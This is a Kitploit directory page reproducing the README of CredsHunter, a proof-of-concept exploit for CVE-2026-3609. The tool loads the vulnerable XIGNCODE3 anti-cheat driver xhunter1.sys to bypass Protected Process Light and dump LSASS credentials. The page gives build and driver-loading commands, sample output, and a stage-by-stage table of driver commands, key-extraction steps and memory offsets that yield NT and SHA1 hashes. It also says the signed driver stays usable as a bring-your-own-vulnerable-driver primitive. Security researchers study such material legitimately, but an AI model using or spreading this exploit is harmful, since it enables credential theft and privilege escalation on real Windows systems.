Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CredsHunter — PoC for CVE-2026-3609 - XIGNCODE3 xhunter1.sys handle leak enabling PPL bypass and LSASS dumping | Kitploit
Tools/GitHubGitHub/blacksnufkin/credshunter
Password CrackingPrivilege EscalationMemory ForensicsExploitationBinary Exploitation
GitHubblacksnufkin/credshunter

CredsHunter

PoC for CVE-2026-3609 - XIGNCODE3 xhunter1.sys handle leak enabling PPL bypass and LSASS dumping

View Repository
364444 months agoReviewed by Kitploit

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CredsHunter

CVE-2026-3609 · Writeup

LSASS credential dump proof-of-concept for a PPL-bypassing process-handle leak in Wellbia's XIGNCODE3 anti-cheat driver, xhunter1.sys.

The driver exposes an IRP_MJ_WRITE command interface that calls ObOpenObjectByPointer with AccessMode = KernelMode and without OBJ_KERNEL_HANDLE, dropping a kernel-minted PROCESS_ALL_ACCESS handle straight into the caller's handle table. From there, standard credential-dumping code reads lsasrv.dll's 3DES key out of the target and recovers NTLM + SHA1 hashes for every active logon session.

Affected binary

root@kitploit:~
xhunter1.sys  version 10.0.10011.16384
SHA-256       e727d0753d2cd0b2f6eeba4cea53aa10b3ff3ed2afeb78f545fcf6d840f85c3e

The vulnerable signed driver is included in this repo (xhunter1.sys) so the exploit is reproducible end-to-end. Verify the hash before loading:

root@kitploit:~
Get-FileHash .\xhunter1.sys -Algorithm SHA256

Newer XIGNCODE3 releases are patched. The vulnerable signed binary remains usable as a BYOVD primitive on any host where it can be dropped and loaded.

Build

root@kitploit:~
git clone https://github.com/BlackSnufkin/CredsHunter.git
cd CredsHunter
cargo build --release

The release binary is placed at target\release\CredsHunter.exe.

Run

Load the bundled driver as a kernel service (the driver's device DACL allows any caller once it's running):

root@kitploit:~
sc create xhunter type=kernel binPath=(Resolve-Path .\xhunter1.sys)
sc start xhunter

Run the tool:

root@kitploit:~
.\target\release\CredsHunter.exe

To clean up afterwards:

root@kitploit:~
sc stop xhunter
sc delete xhunter

The default device name is \\.\xhunter (matching the example service name above). If your service uses a different name, the device path will follow it — edit driver::DEFAULT_DEVICE or call Xhunter::open_named accordingly.

Sample output

root@kitploit:~
  xhunter1.sys BYOVD — LSASS credential dump
  CVE-2026-3609 — PPL bypass via cmd 785 (ObOpenObjectByPointer/KernelMode)

[+] OS build .............. 26200
[+] lsass.exe PID ......... 940
[+] Driver opened ......... \\.\xhunter
[+] PPL bypass handle ..... 0x154 (ReadProcessMemory)
[+] lsasrv.dll ............ local 0x00007FFB27CB0000  remote 0x00007FFB27CB0000
[+] LSA key addrs (local) . AES 0x...  3DES 0x...  IV 0x...
[+] 3DES key (24B) ........ <hex>
[+] IV .................... <hex>

===== LogonSessionList =====

[0001] LogonSession @ 0x...
  User   : <username>
  Domain : <domain>
  NTHash : <16 bytes hex>
  SHA1   : <20 bytes hex>

[...]

How it works

Project layout

root@kitploit:~
src/
├── main.rs       # banner, run flow, ExitCode handling
├── driver.rs     # Xhunter, Session, MemReader trait, protocol constants
├── proc.rs       # find_pid, PEB-walk remote module lookup
├── pe.rs         # local PE parsing + pattern scan + RIP decode
├── lsa.rs        # LSA key patterns, BCrypt key extraction, 3DES decrypt
├── logon.rs      # LogonSessionList walker + MSV1_0 offsets
├── wdigest.rs    # WDigest list walker (best-effort)
└── sys.rs        # OS build number

The MemReader trait abstracts memory reads so the credential-extraction modules don't depend on the specific driver primitive. Implement the trait on a different reader (e.g. a Beacon Object File runtime, a ptwalk-based phys-mem reader) and the lsa / logon / wdigest modules drop in unchanged.

Known limitations

  • WDigest plaintext recovery is best-effort. The list-head signature is a single byte pattern (48 3B D9 74) inherited from the original public PoC and has not been refreshed for Windows 11 build 26100+. Building this out into a per-build table is straightforward; PRs welcome.
  • Service / device name is hardcoded to xhunter. If you load the driver under a different name, edit driver::DEFAULT_DEVICE or pass an override to Xhunter::open_named.

Disclaimer

For research, authorised testing, and defensive tooling only. Loading the vulnerable driver on a system you do not own or have explicit permission to test is a crime in most jurisdictions. The author accepts no responsibility for misuse.

License

See LICENSE.

Download Tool
StageComponentWhat happens
1driver.rs → Xhunter::openCreateFile("\\.\\xhunter") — no auth on the device
2driver.rs → Xhunter::open_processWriteFile with command 785 (PID, PROCESS_ALL_ACCESS). Driver calls ObOpenObjectByPointer(target, 0, NULL, 0x1FFFFF, PsProcessType, KernelMode, &handle) and writes the handle back to the user's response buffer at +0x10. The handle bypasses PPL because AccessMode = KernelMode skips the access check, and it lands in our handle table because OBJ_KERNEL_HANDLE is not set.
3driver.rs → Session::attachProbes ReadProcessMemory against the kernel-minted handle. Falls back to driver command 787 (KeStackAttachProcess + memcpy) if RPM is blocked.
4lsa.rsPattern-scans local lsasrv.dll's .text to recover RIP-relative pointers to the AES key, 3DES key, and IV inside LsaInitializeProtectedMemory. Rebases those VAs onto the target's mapping, walks BCRYPT_HANDLE_KEY → BCRYPT_KEY81, and pulls the raw 3DES bytes out of the target.
5logon.rsWalks LogonSessionList (per-build sig table). Each entry's primary credential at +credentials → +0x10 → +0x30 holds a 0x1B0-byte 3DES-encrypted blob. bcrypt.dll decrypts it; bytes 70..86 are the NT hash, 102..122 are the SHA1.